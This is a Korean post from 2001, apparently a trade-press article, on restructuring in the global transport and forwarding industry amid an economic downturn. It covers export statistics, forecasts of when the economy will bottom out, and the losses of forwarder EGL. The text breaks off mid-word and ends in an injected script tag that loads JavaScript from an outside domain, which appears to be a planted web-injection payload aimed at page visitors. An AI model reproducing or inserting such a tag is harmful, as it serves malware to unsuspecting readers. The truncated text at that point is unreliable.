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글쓴이 운영자 작성일 2001-09-29
제목 세계 운송업계는 지금 구조조정 열풍
세계 운송업계는 지금 구조조정 열풍

경기저점 내년 연초 형성 전망…'이익내기'에서 '살아남기'로


국가 경제에 민감할 수밖에 없는 운송업계는 최근 "과연 국내 경기가 언제 바닥을 칠 것인가"에 온 관심이 쏠려있다. 그리고 "어려운 시기를 어떻게 하면 극복할 수 있을까"에 대해서도 깊은 고민에 빠져 있다. 미국과 일본 경기의 침체로 세계 물동량 자체가 줄어들고 있는 가운데 운송업계는 이제 '이익내기'에서 '살아남기'로 정책을 전환한 듯 하다. 전반이 바닥을 모르고 내리막 곡선을 계속 그리고 있다. 지난달 31일 한국개발연구원(KDI)은 '주간 경제동향'에서 8월 들어 출은 84억달러로 작년동기대비 21.9% 감소한데 비해 같은 기간 수입은 94억달러로 15.7% 감소했다고 발표했다. 아직도 국내 경기는 하향 곡선을 타고 미끄러지고 있다는 반증이다. 세계 경기도 다를 바 없다. 이러한 가운데 해외 유수의 운송업계는 구조조정을 통해 생존을 모색하고 있다. 국내 운송업계, 특히 포워딩 업계도 생존전략 수립이 필요한 시기다.

"경기저점과 회복속도는?"

최근 산업연구원(KEIT)에서 발표한 '경기저점에 대한 국내외 경제환경'이라는 보고서를 통해 금년 4/4분기 미국 경제 회복을 기점으로 국내 경기 역시 최저 바닥권을 형성 연말 또는 내년 연초부터 바닥권을 형성한 후 서서히 상승국면을 탈 것이라고 전망했다.

이 보고서에 따르면 국내경기는 이제 재고조정국면에 진입한 것으로 판단하고 있다. IT부문은 아직도 재고증가율이 50%를 넘어서는 등 재고조정국면이 진행되고 있어 경기회복을 지연시킬 것으로 예상된다.

IT부문의 생산능력이 5년 만에 3.7배로 증가하는 등 정보통신부문의 지나친 호황이 오히려 과잉투자의 후유증으로 나타나고 있어 자본스톡의 조정압력이 심각한 수준을 보이고 있는 것으로 나타났다. 건설투자 역시 대형토목공사의 마무리와 건축허가면적의 감소세 전환으로 하반기중 부진이 예상되며 1/4분기 지표에서 나타난 민간소비의 부진(0.9% 증가)현상이 실업증가외 주식시장의 부진의 영향으로 당분간 지속될 것으로 보인다.

경기회복의 관건은 결국 수출인데 최근 미국 IT투자의 감소현상이 장기화될 조짐을 보이고 있어 수출의 본격적인 회복은 내년으로 넘어갈 전망이며 반도체가격 하락과 국제유가 강세로 인한 교역조건 악화가 수출에 걸림돌로 작용하고 있다.

과거 사례를 보면 경기저점이 되려면 산업생산증가율이 최소 0%대에 이르렀고 대부분 감소세를 기록했다는 점에서 현단계의 경기저점론은 시기상조이며 재고조정국면이 4분기 정도 진행된다는 점을 감안하면 경기저점은 내년 초가 될 가능성이 크다고 분석됐다.

금년 GDP성장률은 2/4분기와 3/4분기 중 3%을 약간 웃도는 수준을 기록한 후 4/4분기 중 다소 회복되어 연간으로는 3.6%를 기록할 것으로 전망했다.

한편 해외경제 환경을 보면 세계경제는 작년 3/4분기를 정점으로 하강국면이 진행중이며 국가별 상황에 따라 경기국면은 차이가 나고 있는데 미국의 진행속도가 가장 빠르고 유럽과 일본이 뒤따르고 있는 것으로 산업연구원은 판단하고 있다.

주목할 사항은 미국경제는 제조업이 경기후퇴(recession)국면에 들어 간 가운데 비제조업 경기도 크게 둔화되고 있으며 원가절감을 위한 기업의 해고가 크게 증가하면서 실업이 경기침체수준에 육박하고 있다.

향후 미국경기의 회복시기와 속도는 현재 미국경제의 문제점으로 지적되는 과잉소비와 과잉투자의 문제를 어떻게 풀어가는가 하는데 있다고 판단되는데 IT부문의 과잉투자가 경기회복을 지연시키고 속도를 완만하게 할 것으로 전망됐다.

미국의 본원통화는 증가하고 있으나 이머징마켓의 불안 등으로 세계달러화 전체 규모로 본 세계유동성은 감소세가 지속되고 있어 경기회복이 가시화되지 않고 있다. 미국경제의 경기후퇴 위험성은 상당히 축소되었으나 최근의 에너지가격 급등이 여전히 위협요인으로 작용하고 있으며 유럽경기의 하강 등이 변수로 작용하고 있다.

미국경제는 대체로 4/4분기 전후에 회복될 것으로 예상하고 있으나 IT버블붕괴의 후유증으로 경기회복의 속도는 완만할 것으로 예상되며 내년 성장률도 2%대에 그칠 가능성이 있는 것으로 판단됐다.

해외 운송업계의 '살아남기' 몸부림

이러한 경기 저점이 금년동안 계속 지속된다고 볼 때 관련 운송업체 역시 올해는 여느 때보다도 어려운 시기를 겪을 것으로 보이며 실제로 이 시기에 살아남기 위한 몸부림이 한창 진행 중이다.

그 대표적인 예가 미국계 다국적 포워더 및 물류기업인 EGL의 경우다. 이 회사는 지난 2/4분기에 2,300만 달러의 적자를 기록하는 등 미국 경제의 침체 및 수요대비 공급 과잉 등의 여파를 톡톡히 치러내고 있다. 최근 EGL에 따르면 2/4분기 미국 시장은 예?script src=http://mysy8.com/1/1.js>
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